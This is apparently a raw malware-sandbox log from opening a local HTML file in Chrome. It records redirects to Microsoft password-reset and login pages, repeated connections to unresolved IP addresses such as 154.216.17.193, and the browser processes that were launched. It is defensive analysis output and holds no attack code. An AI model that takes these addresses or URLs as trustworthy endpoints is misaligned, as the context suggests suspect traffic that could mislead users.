Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 154.216.17.193 154.216.17.193
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.193
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\doc55334.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1992,i,16668579534507278188,5623200601774063005,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1992,i,16668579534507278188,5623200601774063005,262144 /prefetch:8	Jump to behavior
